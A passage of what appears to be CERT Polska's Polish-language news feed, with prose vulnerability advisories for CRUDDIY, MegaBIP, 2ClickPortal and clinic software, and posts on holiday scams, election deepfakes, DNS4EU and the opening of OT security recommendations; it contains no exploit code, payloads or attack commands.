&lt;p&gt;Za zgłoszenie podatności dziękujemy Marcinowi Wyczechowskiemu i Michałowi Majchrowiczowi z firmy AFINE.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu CRUDDIY</title><link href="https://cert.pl/posts/2024/06/CVE-2024-4748/" rel="alternate"></link><published>2024-06-24T14:00:00+02:00</published><updated>2024-06-24T14:00:00+02:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-06-24:/posts/2024/06/CVE-2024-4748/</id><summary type="html">W oprogramowaniu CRUDDIY wykryto podatność typu OS Command Injection (CVE-2024-4748).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska w ramach badań własnych znalazł podatność w otwartoźródłowym oprogramowaniu &lt;a href="https://github.com/jan-vandenberg/cruddiy"&gt;CRUDDIY&lt;/a&gt; i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-4748"&gt;CVE-2024-4748&lt;/a&gt; pozwala na wstrzyknięcie komend powłoki poprzez wysłanie specjalnie utworzonego w tym celu żądania POST do serwera aplikacyjnego. 
Ryzyko wykorzystania podatności jest ograniczone, ponieważ instancje projektu CRUDDIY nie powinny być publicznie dostępne w Internecie. Niemniej jednak jeśli użytkownik, który posiadałby serwer uruchomiony lokalnie, odwiedziłby stronę z zaszytym skryptem wysyłającym żądanie do serwera, to mógłby zostać ofiarą skutecznego ataku. &lt;/p&gt;
&lt;p&gt;Ponieważ podatność nie została uznana przez autorów za istotną, projekt nie otrzymał łatki usuwającej tę słabość. Ostatnią testowaną wersją była 202312.1, jednakże nowsze wersje również mogą być podatne.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność SQL injection w oprogramowaniu MegaBIP</title><link href="https://cert.pl/posts/2024/06/CVE-2024-6160/" rel="alternate"></link><published>2024-06-24T12:00:00+01:00</published><updated>2024-06-24T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-06-24:/posts/2024/06/CVE-2024-6160/</id><summary type="html">W oprogramowaniu MegaBIP wykryto kolejną podatność typu SQL Injection i nadano jej identyfikator CVE-2024-6160.</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska w ramach badań własnych znalazł podatność w oprogramowaniu MegaBIP i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-6160"&gt;CVE-2024-6160&lt;/a&gt; umożliwia dowolnej osobie wstrzyknięcie kodu SQL w zapytaniu, co w konsekwencji może
doprowadzić np. do ujawnienia zawartości bazy danych przez atakującego, poznania ciasteczek sesyjnych czy modyfikacji 
treści stron. Podatność dotyczy programu MegaBIP we wszystkich wersjach do 5.12.1.&lt;/p&gt;
&lt;h2&gt;Rekomendacja Pełnomocnika Rządu ds. Cyberbezpieczeństwa dotycząca Biuletynów Informacji Publicznej&lt;/h2&gt;
&lt;p&gt;Na stronie Ministerstwa Cyfryzacji została opublikowana 
&lt;a href="https://www.gov.pl/web/cyfryzacja/rekomendacja-pelnomocnika-rzadu-ds-cyberbezpieczenstwa-dotyczaca-biuletynow-informacji-publicznej"&gt;Rekomendacja Pełnomocnika Rządu ds. Cyberbezpieczeństwa dotycząca Biuletynów Informacji Publicznej&lt;/a&gt;
dotycząca obowiązku niestosowania systemów SmodBIP i MegaBIP, jako platform Biuletynu Informacji Publicznej (BIP) do 
udostępniania informacji publicznej. Zgodnie z informacją Pełnomocnika, obowiązek dotyczy podmiotów krajowego systemu 
cyberbezpieczeństwa, w tym podmiotów publicznych.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Cyberparawan powraca</title><link href="https://cert.pl/posts/2024/06/cyberparawan/" rel="alternate"></link><published>2024-06-21T10:00:00+01:00</published><updated>2024-06-21T10:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-06-21:/posts/2024/06/cyberparawan/</id><summary type="html">Czy wakacje to dobry czas dla cyberprzestepców? A może skoro w biurach panują pustki i ludzie zamiast przed ekranem spędzają czas na plaży, to oszuści również robią sobie wolne? Niestety nie. Wakacyjne miesiące to dla cybeprzestępców czas jak każdy inny.</summary><content type="html">&lt;style&gt;
.article .thumbnail {
    display: inline-block;
    margin: 0 0 5px 20px;
    float: right;
    width: 100%;
    max-width: 450px;
}
&lt;/style&gt;

&lt;p&gt;&lt;img class="thumbnail" src="/uploads/2024/06/cyberparawan/thumbnail.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;Czy wakacje to dobry czas dla cyberprzestepców? A może skoro w biurach panują pustki i ludzie zamiast przed ekranem 
spędzają czas na plaży, to oszuści również robią sobie wolne? Niestety nie. &lt;/p&gt;
&lt;p&gt;Wakacyjne miesiące to dla cybeprzestępców czas jak każdy inny. A relaks i&amp;nbsp;nowe otoczenie czasami dodatkowo osłabiają 
naszą czujność. Dlatego kolejny raz ruszamy z cyklem edukacyjnym z zakresu cyberbezpieczeństwa. Przez okres wakacji 
będziemy przypominać o metodach stosowanych przez oszustów i dawać wskazówki jak się ich wystrzegać. &lt;/p&gt;
&lt;p&gt;W zeszłym roku w naszym cyklu #CyberParawan ostrzegaliśmy przed kradzieżą danych osobowych, a także “nigeryjskim 
spamem” w nowej odsłonie, czyli oszustwem na amerykańskiego żołnierza. Zachęcaliśmy do korzystania z&amp;nbsp;uwierzytelniania 
dwuskładnikowego, którego szczegóły przybliżamy w&amp;nbsp;&lt;a href="https://cert.pl/2etapy/"&gt;artykule&lt;/a&gt;, a także do przesyłania nam SMS-ów 
zawierających potencjalnie szkodliwe linki na numer 8080, bo w ten sposób razem możemy 
&lt;a href="https://cert.pl/posts/2023/09/uznke/"&gt;powstrzymać phishing&lt;/a&gt;. Przypominaliśmy o tym, że przestępcy stosują różne 
&lt;a href="https://cert.pl/posts/2023/08/wakacyjne-oszustwo/"&gt;sztuczki socjotechniczne&lt;/a&gt; i że warto zadbać o 
&lt;a href="https://cert.pl/uploads/docs/CERT_Polska_Poradnik_ransomware.pdf"&gt;bezpieczeństwo swojej firmy podczas urlopu&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;Wszystkie te ostrzeżenia i zachęty nadal pozostają w mocy. Ale w tym roku zaplanowaliśmy coś nowego. Zabieramy Was 
w&amp;nbsp;podróż przez wakacyjne oszustwa. Dla tych, którzy jeszcze nie zarezerwowali swoich wakacji opowiemy o oszustwie, 
w&amp;nbsp;którym wykorzystywany jest wizerunek firmy Booking. Później coś dla rodziców, czyli wiadomość od dziecka, które 
zniszczyło lub zgubiło swój telefon. Co robić w takiej sytuacji? W połowie wakacji opiszemy oszustwa romantyczne. 
Później zrobi się niepokojąco, bo opiszemy przypadki telefonów od policji z innego państwa, a na koniec wrócimy powoli 
do realiów biurowych i opowiemy o sposobach na wyłudzenie danych logowania do Facebooka. Oczywiście w naszych social 
mediach w wakacje nie zabraknie też postów z cyklu o&amp;nbsp;deepfake oraz aktualnych ostrzeżeń. Warto być z nimi na bieżąco!&lt;/p&gt;</content><category term="News"></category><category term="CyberParawan"></category><category term="aktualne zagrożenia"></category></entry><entry><title>Podatność w oprogramowaniu 2ClickPortal</title><link href="https://cert.pl/posts/2024/06/CVE-2024-5961/" rel="alternate"></link><published>2024-06-14T12:00:00+01:00</published><updated>2024-06-14T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-06-14:/posts/2024/06/CVE-2024-5961/</id><summary type="html">W oprogramowaniu 2ClickPortal wykryto podatność typu Reflected XSS i nadano jej identyfikator CVE-2024-5961.</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu 2ClickPortal firmy Trol InterMedia Sp. z o.o. Sp. k. 
i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-5961"&gt;CVE-2024-5961&lt;/a&gt; typu Reflected Cross-Site Scripting (XSS) umożliwia wykonanie skryptu w przeglądarce 
użytkownika, który zostanie nakłoniony przez atakującego do użycia spreparowanego linku. Podatność dotyczy wersji od 7.2.31 do 7.6.4.
Wersja 7.6.5 zawiera poprawkę bezpieczeństwa. Aktualizacja powinna zostać wdrożona automatycznie do wszystkich systemów klienckich.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Kacprowi Rybczyńskiemu. Dziękujemy także producentowi oprogramowania 
za natychmiastową reakcję i&amp;nbsp;usunięcie zgłoszonego błędu.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Krytyczne podatności w oprogramowaniu MegaBIP</title><link href="https://cert.pl/posts/2024/06/CVE-2024-1576/" rel="alternate"></link><published>2024-06-12T16:00:00+01:00</published><updated>2024-06-12T16:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-06-12:/posts/2024/06/CVE-2024-1576/</id><summary type="html">W oprogramowaniu MegaBIP wykryto 3 krytyczne podatności różnego typu i nadano im identyfikatory CVE-2024-1576, CVE-2024-1577 oraz CVE-2024-1659.</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska w ramach badań własnych znalazł podatności w oprogramowaniu MegaBIP i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-1576"&gt;CVE-2024-1576&lt;/a&gt; poprzez wstrzyknięcie zapytania SQL umożliwia dowolnej osobie na uzyskanie uprawnień 
administratora strony, w&amp;nbsp;tym m.in. dostępu do panelu administracyjnego oraz możliwości zmiany hasła administratora. 
Podatność została usunięta przez autora oprogramowania w wersji 5.10.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-1577"&gt;CVE-2024-1577&lt;/a&gt; umożliwia wykonywanie dowolnego kodu na serwerze bez konieczności uwierzytelnienia poprzez 
zapisanie spreparowanego przez atakującego kodu PHP do jednego z plików strony. Podatność została usunięta przez autora oprogramowania w wersji 5.12.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-1659"&gt;CVE-2024-1659&lt;/a&gt; umożliwia atakującemu wgranie dowolnego pliku na serwer (w tym pliku z kodem PHP) 
bez konieczności uwierzytelniania. Podatność została usunięta przez autora oprogramowania w wersji 5.11.&lt;/p&gt;
&lt;p&gt;Pomimo wielokrotnego kontaktu z autorem oprogramowania, odpowiednie poprawki i przekazane zalecenia nie zostały wdrożone.
Działając jako CSIRT NASK, na podstawie art. 33 ust. 3 ustawy z dnia 5 lipca 2018 r. o krajowym systemie
cyberbezpieczeństwa (Dz. U. 2023 poz. 913 i 1703) wystąpliliśmy o wydanie stosownych rekomendacji.&lt;/p&gt;
&lt;h2&gt;Rekomendacja Pełnomocnika Rządu ds. Cyberbezpieczeństwa dotycząca Biuletynów Informacji Publicznej&lt;/h2&gt;
&lt;p&gt;Na stronie Ministerstwa Cyfryzacji została opublikowana 
&lt;a href="https://www.gov.pl/web/cyfryzacja/rekomendacja-pelnomocnika-rzadu-ds-cyberbezpieczenstwa-dotyczaca-biuletynow-informacji-publicznej"&gt;Rekomendacja Pełnomocnika Rządu ds. Cyberbezpieczeństwa dotycząca Biuletynów Informacji Publicznej&lt;/a&gt;
dotycząca obowiązku niestosowania systemów SmodBIP i MegaBIP, jako platform Biuletynu Informacji Publicznej (BIP) do 
udostępniania informacji publicznej. Zgodnie z informacją Pełnomocnika, obowiązek dotyczy podmiotów krajowego systemu 
cyberbezpieczeństwa, w tym podmiotów publicznych.&lt;/p&gt;
&lt;h2&gt;Aktualizacja 18.06.2024&lt;/h2&gt;
&lt;p&gt;Została opublikowana wersja 5.12 oprogramowania MegaBIP, w której usunięto podatność CVE-2024-1577. W związku z tym 
zaktualizowaliśmy informacje na temat wersji programu objętych tą podatnością. &lt;/p&gt;
&lt;h2&gt;Aktualizacja 24.06.2024&lt;/h2&gt;
&lt;p&gt;W programie MegaBIP do wersji 5.12.1 znaleziona została kolejna podatność typu SQL injection. Podatności nadaliśmy identyfikator
&lt;a href="https://cert.pl/posts/2024/06/CVE-2024-6160/"&gt;CVE-2024-6160&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Aktualizacja 09.07.2024&lt;/h2&gt;
&lt;p&gt;W programie MegaBIP do wersji 5.13 znaleziona została kolejna podatność typu SQL injection. Podatności nadaliśmy identyfikator
&lt;a href="https://cert.pl/posts/2024/07/CVE-2024-6527/"&gt;CVE-2024-6527&lt;/a&gt;.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category><category term="top"></category></entry><entry><title>Podatności w oprogramowaniach przychodni medycznych</title><link href="https://cert.pl/posts/2024/06/CVE-2024-1228/" rel="alternate"></link><published>2024-06-10T12:00:00+01:00</published><updated>2024-06-10T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-06-10:/posts/2024/06/CVE-2024-1228/</id><summary type="html">W oprogramowaniach Eurosoft Przychodnia, drEryk Gabinet i SimpleCare wykryto podatności polegające na stosowaniu tego samego, zakodowanego na stałe, hasła do bazy danych. Podatnościom przypisano identyfikatory CVE-2024-1228, CVE-2024-3699 i CVE-2024-3700.</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniach aplikacji medycznych stosowanych przez przychodnie 
i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;h4&gt;Eurosoft Przychodnia&lt;/h4&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-1228"&gt;CVE-2024-1228&lt;/a&gt; polega na stosowaniu zakodowanego na stałe, tego samego we wszystkich instalacjach, 
hasła do bazy danych. Podatność dotyczy oprogramowania Eurosoft Przychodnia do wersji 20240417.001, która zawiera 
poprawkę bezpieczeństwa.&lt;/p&gt;
&lt;h4&gt;drEryk Gabinet&lt;/h4&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-3699"&gt;CVE-2024-3699&lt;/a&gt; polega na stosowaniu zakodowanego na stałe, tego samego we wszystkich instalacjach, 
hasła do bazy danych. Podatność dotyczy oprogramowania drEryk Gabinet od wersji 7.0.0.0 do 9.17.0.0. Wersja 9.18.0.0 
zawiera poprawkę bezpieczeństwa. &lt;/p&gt;
&lt;h4&gt;SimpleCare&lt;/h4&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-3700"&gt;CVE-2024-3700&lt;/a&gt; polega na stosowaniu zakodowanego na stałe, tego samego we wszystkich instalacjach, 
hasła do bazy danych. Podatność dotyczy oprogramowania Simple Care firmy Estomed Sp. z o.o. we wszystkich wersjach. 
Oprogramowanie nie jest dalej wspierane.&lt;/p&gt;
&lt;h4&gt;Inne programy&lt;/h4&gt;
&lt;p&gt;Podczas koordynowanego ujawniania podatności kontaktowaliśmy się także z producentami innych programów stosowanych w 
przychodniach medycznych. W przypadku programu mMedica firmy Asseco podobna podatność została wykryta wewnętrznie i 
usunięta we wcześniejszych latach, w związku z czym odstąpiliśmy od nadania identyfikatora CVE. W przypadku programów 
Kamsoft KS-AOW i Kamsoft KS-PPS, producent zapowiedział wprowadzenie rozwiązań zniechęcających do używania domyślnego, 
predefiniowanego hasła.&lt;/p&gt;
&lt;h2&gt;Zalecenia dot. konfiguracji oprogramowania przetwarzającego dane wrażliwe&lt;/h2&gt;
&lt;p&gt;Przeprowadzona analiza wykazała, że częstą praktyką stosowaną przez administratorów placówek medycznych jest 
udostępnianie moźliwości połączenia z bazą danych medycznych z publicznej sieci Internet. Umożliwia to atakującym 
przeprowadzenie ataków siłowych (brute-force) na poświadczenia lub wykorzystanie podatności tego typu 
(&lt;a href="https://cwe.mitre.org/data/definitions/798.html"&gt;CWE-798 Use of Hard-coded Credentials&lt;/a&gt;) do pozyskania wrażliwych danych przechowywanych w bazie.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Dostęp do baz danych przechowujących dane szczególnie chronione powinien być możliwy do uzyskania jedynie poprzez 
połączenie lokalne lub sieć prywatną (VPN) z uwierzytelnieniem wieloskładnikowym.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Zespół CERT Polska rekomenduje producentom oprogramowania wdrożenie mechanizmów wymuszających ustawienie przez 
użytkownika złożonego hasła do bazy danych podczas pierwszej konfiguracji środowiska oraz możliwość jego zmiany 
w przyszłości w razie potrzeby. Więcej informacji na temat haseł oraz rekomendacje techniczne dla systemów 
uwierzytelniania znajdują się na stronie &lt;a href="https://cert.pl/hasla/"&gt;cert.pl/hasla&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Dziękujemy Jakubowi Staśkiewiczowi, autorowi bloga OpenSecurity za przekazanie zgłoszenia podatności znalezionych przez 
anonimowego czytelnika. Na blogu OpenSecurity został opublikowany artykuł 
&lt;a href="https://opensecurity.pl/wrazliwe-dane-medyczne-milionow-polakow-na-wyciagniecie-reki/"&gt;"Wrażliwe dane medyczne milionów Polaków na wyciągnięcie ręki"&lt;/a&gt;
omawiający proces ujawniania podatności od strony zgłaszającego.&lt;/p&gt;
&lt;h3&gt;Aktualizacja 11.06.2024:&lt;/h3&gt;
&lt;p&gt;Doprecyzowaliśmy fragment związany z aplikacjami firmy Kamsoft, które nie używały zakodowanych na stałe haseł, a jedynie 
predefiniowane. Dodatkowo, po kontakcie, producent zapowiedział wprowadzenie rozwiązań zniechęcających do użycia 
domyślnego, predefiniowanego hasła.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category><category term="top"></category></entry><entry><title>Deepfake i wybory</title><link href="https://cert.pl/posts/2024/06/deepfake-i-wybory/" rel="alternate"></link><published>2024-06-05T14:00:00+01:00</published><updated>2024-06-05T14:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-06-05:/posts/2024/06/deepfake-i-wybory/</id><summary type="html">Wybory do parlamentu europejskiego już w ten weekend, ale to wcale nie znaczy, że 10 czerwca ten tekst przestanie być aktualny. I to nawet nie dlatego, że w 2025 roku czekają nas wybory prezydenckie.</summary><content type="html">&lt;style&gt;
.article .thumbnail {
    display: inline-block;
    margin: 0 0 5px 20px;
    float: right;
    width: 100%;
    max-width: 450px;
}
&lt;/style&gt;

&lt;p&gt;&lt;img class="thumbnail" src="/uploads/2024/06/deepfake-i-wybory/thumbnail.png" /&gt;&lt;/p&gt;
&lt;p&gt;Wybory do parlamentu europejskiego już w ten weekend, ale to wcale nie znaczy, że 10 czerwca ten tekst przestanie być aktualny. I to nawet nie dlatego, że w 2025 roku czekają nas wybory prezydenckie.&lt;/p&gt;
&lt;p&gt;Polska jest w tej chwili bardzo ważnym punktem na geopolitycznej mapie świata. Tuż za naszą granicą toczy się aktywny konflikt zbrojny. Faktem jest również, że okres wyborczy to czas, kiedy kraj naturalnie jest w okresie przejściowym. Wystarczy bardzo niewiele, aby zdestabilizować sytuację na dłużej.&lt;/p&gt;
&lt;p&gt;Ale miało być o technologii deepfake. Co ona ma z tym wspólnego?&lt;/p&gt;
&lt;h2&gt;Deepfake, czyli ja tego nie powiedziałem&lt;/h2&gt;
&lt;p&gt;Mówi się, że kłamstwo powtarzane tysiąc razy staje się prawdą. A co dopiero kłamstwo zilustrowane odpowiednim materiałem video lub bardzo przekonującym „nagraniem” kompromitującej rozmowy.&lt;/p&gt;
&lt;p&gt;Technologia deepfake pozwala dosłownie włożyć w usta dowolnej osoby dowolne słowa. Nic więc trudnego w tym, aby użyć tej technologii do spreparowania nagrania polityka, który głosi niepopularne lub kompromitujące poglądy lub po prostu zachowuje się w sposób odstręczający wyborców.&lt;/p&gt;
&lt;p&gt;W społeczeństwie, które jest bardzo mocno spolaryzowane taki filmik lub nagranie raczej nie przekona nikogo do zagłosowania na inną opcję polityczną, ale… Ale może skutecznie zniechęcić do, udziału w wyborach tych, którzy zastanawiali się, czy w ogóle warto głosować.&lt;/p&gt;
&lt;h2&gt;Deepfake, czyli moja racja jest mojsza&lt;/h2&gt;
&lt;p&gt;Materiały deepfake można też wykorzystywać w bardziej subtelny sposób - tworząc treści polaryzujące społeczeństwo. Nie jest tajemnicą, że społeczeństwo staje się coraz bardziej spolaryzowane i obracamy się wśród ludzi, którzy podzielają nasze poglądy, na innych patrząc w najlepszym wypadku podejrzliwie.&lt;/p&gt;
&lt;p&gt;Technologia deepfake pozwala tworzyć treści, które idealnie wpiszą się w istniejące już podziały. Deepfake’i z politykami lub celebrytami głoszącymi skrajne opinie idealnie nadają się do pogłębiania podziałów w społeczeństwie.&lt;/p&gt;
&lt;h2&gt;Deepfake, czyli wybory zostały odwołane&lt;/h2&gt;
&lt;p&gt;Wykorzystanie technologii deepfake pozwala też fabrykować wiadomości imitujące oficjalne komunikaty na temat godzin głosowania, lokalizacji lokali wyborczych lub tego w jaki sposób należy oddać ważny głos. W ten sposób można ją wykorzystać do ingerowania w sam proces wyborczy.&lt;/p&gt;
&lt;h2&gt;UważajMY&lt;/h2&gt;
&lt;p&gt;Kto jest „najlepszym” celem dla twórców zmanipulowanych treści.&lt;/p&gt;
&lt;p&gt;My – my wszyscy.&lt;/p&gt;
&lt;p&gt;Choć deepfake’i to bardzo sprytne narzędzie, to tak jak w przypadku innych sfabrykowanych treści, najbardziej narażeni są Ci, którzy nie mają w zwyczaju weryfikować informacji. Zwyczajowo wspomina się w tym miejscu dzieci i osoby starsze, ale czy każdy z nas nie ma na sumieniu takich grzeszków?&lt;/p&gt;
&lt;p&gt;Niestety nie możemy zakończyć tą mocną pointą, bo trzeba wspomnieć o drugiej grupie – czyli tych, którzy służą jako „materiał” do tworzenia deepfake’ów. Wizerunek wszystkich osób publicznych od celebrytów po polityków może zostać wykorzystany do stworzenia przekonujących fałszywek.&lt;/p&gt;
&lt;h2&gt;Pamiętajmy!&lt;/h2&gt;
&lt;p&gt;Jesteśmy w gorącym miejscu i czasie. Technologia deepfake pozwala wznieść znane oszustwa i schematy na nowy poziom. Sensacyjne newsy z politykami i celebrytami obiegają media społecznościowe z prędkością błyskawicy. Łatwo w ten sposób zasiać zamęt. A technologia deepfake sprawia, że materiały są jeszcze bardziej wiarygodne.&lt;/p&gt;
&lt;p&gt;Więcej o technologii deepfake, nie tylko w kontekście wyborów można dowiedzieć się z naszego cyklu w mediach społecznościowych (FB, X, LI) - &lt;a href="/tag/wiedzainformacje/"&gt;#WiedzAInformacje&lt;/a&gt;. Zapraszamy!&lt;/p&gt;
&lt;p&gt;Pamiętajmy, że nie wszystko w internecie to prawda.&lt;/p&gt;</content><category term="News"></category><category term="Deepfake"></category><category term="WiedzAInformacje"></category></entry><entry><title>Projekt DNS4EU – współpraca na europejskim poziomie</title><link href="https://cert.pl/posts/2024/05/dns4eu/" rel="alternate"></link><published>2024-05-21T12:00:00+01:00</published><updated>2024-05-21T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-05-21:/posts/2024/05/dns4eu/</id><summary type="html">DNS4EU to element strategii cyberbezpieczeństwa opublikowanej przez Komisję Europejską. Celem projektu jest wprowadzenie prywatnego i bezpiecznego publicznego resolvera DNS w&amp;nbsp;ramach Unii Europejskiej, co przyczyni się do budowania niezależności w&amp;nbsp;obszarze usług cyfrowych.</summary><content type="html">&lt;style&gt;
.article .thumbnail {
    display: inline-block;
    margin: 0 0 5px 20px;
    float: right;
    width: 100%;
    max-width: 450px;
}
&lt;/style&gt;

&lt;p&gt;&lt;img class="thumbnail" src="/uploads/2024/05/dns4eu/thumbnail.png" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;DNS4EU to element strategii cyberbezpieczeństwa opublikowanej przez Komisję Europejską. Celem projektu jest wprowadzenie prywatnego i&amp;nbsp;bezpiecznego publicznego resolvera DNS w&amp;nbsp;ramach Unii Europejskiej, co przyczyni się do budowania niezależności w&amp;nbsp;obszarze usług cyfrowych. Projekt jest realizowany przez międzynarodowe konsorcjum, w skład którego wchodzi m.in. CERT Polska.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;- Skuteczne rozwiązania w zakresie cyberbezpieczeństwa to priorytet dla wszystkich państw Unii Europejskiej. Nie da się ich jednak stworzyć bez współpracy. Chcemy, by rozwiązanie nad którym pracujemy stanowiło alternatywę dla obecnie dominujących na rynku usług, kontrolowanych przez podmioty spoza UE&lt;/em&gt; – powiedział Sebastian Kondraszuk, kierownik zespołu CERT Polska. &lt;/p&gt;
&lt;p&gt;Wykorzystanie resolvera DNS4EU będzie w pełni dobrowolne, a użytkownicy zawsze będą mieć możliwość korzystania z usługi innego dostawcy. Jednakże jedną z przewag DNS4EU będzie skuteczna ochrona przed zagrożeniami wymierzonymi w obywateli UE poprzez szybkie blokowanie niebezpiecznych stron na poziomie DNS.&lt;/p&gt;
&lt;p&gt;Po stronie NASK-PIB projekt realizuje CERT Polska wspólnie z Centrum Badań i Rozwoju. Nasze prace skupiają się na wczesnym wykrywaniu domen wykorzystywanych do phishingu, a efekty będą również służyły do ulepszenia prowadzonej przez nas &lt;a href="https://cert.pl/lista-ostrzezen/"&gt;Listy Ostrzeżeń przed niebezpiecznymi stronami&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Projekt realizuje międzynarodowe konsorcjum tworzone przez Whalebone (Czechy, lider), CZ.NIC (Czechy), CVUT (Czechy), Time.lex (Belgia), deSEC (Niemcy), HUN-REN Sztaki (Węgry), ABILAB (Włochy), DNSC (Rumunia) oraz NASK-PIB.&lt;/p&gt;
&lt;p&gt;Projekt oficjalnie rozpoczął się w styczniu 2023 roku, a wsparcie finansowe UE będzie trwać trzy lata. Przez ten czas zostanie opracowany model biznesowy, który zapewni długofalowe utrzymanie usługi. Należy jednak zaznaczyć, że publiczny resolver pozostanie bezpłatny dla użytkowników końcowych. Więcej informacji znajduje się na oficjalnej stronie projektu: &lt;a href="https://www.joindns4.eu/"&gt;www.joindns4.eu&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Numer grantu: 101095329 21-EU-DIG-EU-DNS, pełna nazwa projektu: &lt;em&gt;DNS4EU and European DNS Shield&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="/uploads/2024/05/dns4eu/PL_Co-fundedbytheEU.png" width="500px" /&gt;&lt;/p&gt;</content><category term="News"></category><category term="DNS4EU"></category></entry><entry><title>Rekomendacje dla wzmocnienia ochrony systemów OT</title><link href="https://cert.pl/posts/2024/05/rekomendacje-ot/" rel="alternate"></link><published>2024-05-17T13:00:00+02:00</published><updated>2024-05-17T13:00:00+02:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2024-05-17:/posts/2024/05/rekomendacje-ot/</id><summary type="html">CERT Polska wydał rekomendacje w związku z obserwowaną zwiększoną liczbę ataków na przemysłowe systemy sterowania (ICS/OT) dostępne bezpośrednio z internetu.</summary><content type="html">&lt;p&gt;W ostatnim czasie CERT Polska obserwuje zwiększoną liczbę ataków na przemysłowe systemy sterowania (ICS/OT) dostępne bezpośrednio z internetu. Podobne przypadki &lt;a href="https://www.cisa.gov/resources-tools/resources/defending-ot-operations-against-ongoing-pro-russia-hacktivist-activity"&gt;odnotowali również nasi zagraniczni partnerzy&lt;/a&gt;. Ataki te najczęściej są motywowane aktywistycznie lub politycznie i mają na celu medialne wykorzystanie udanego ataku. Warto zaznaczyć, że CERT Polska odnotował również przypadki, w których atak miał realny wpływ na działanie fizycznych systemów.&lt;/p&gt;
&lt;p&gt;W związku z obserwowanym zagrożeniem CERT Polska od trzech lat prowadzi działania pod nazwą &lt;a href="https://cert.pl/uploads/docs/Raport_CP_2023.pdf#page=58"&gt;#BezpiecznyPrzemysł&lt;/a&gt;, w ramach których w sposób zautomatyzowany poszukiwane są źle zabezpieczone urządzenia przemysłowe dostępne z internetu. W przypadku wykrycia błędnej konfiguracji właściciel urządzenia (jeśli to możliwe) otrzymuje powiadomienie o związanym z tym zagrożeniu wraz z rekomendacjami.&lt;/p&gt;
&lt;p&gt;Niestety w wielu przypadkach urządzenia przemysłowe podłączone są do internetu przez routery komórkowe, których adres IP wskazuje na operatora komórkowego, którego karta SIM została użyta. W takiej sytuacji nie mamy możliwości dotarcia do właściciela, możemy jedynie przekazać informacje do operatora telekomunikacyjnego. &lt;strong&gt;Dlatego kluczowa jest świadomość zagrożeń związanych z wystawieniem urządzeń do internetu&lt;/strong&gt; i znajomość najlepszych praktyk realizacji dostępu zdalnego tam, gdzie jest on konieczny – &lt;strong&gt;zarówno po stronie właścicieli urządzeń, jak i firm wdrażających i sprzedających rozwiązania OT&lt;/strong&gt;. &lt;/p&gt;
&lt;h4 style="background-color:#FFCCCB; color: black; "&gt; W związku z poważnym zagrożeniem wzywamy podmioty posiadające systemy przemysłowe do podjęcia natychmiastowych działań i wprowadzenia opisanych poniżej rekomendacji.&lt;/h4&gt;

&lt;h2&gt;Techniczny opis zagrożenia&lt;/h2&gt;
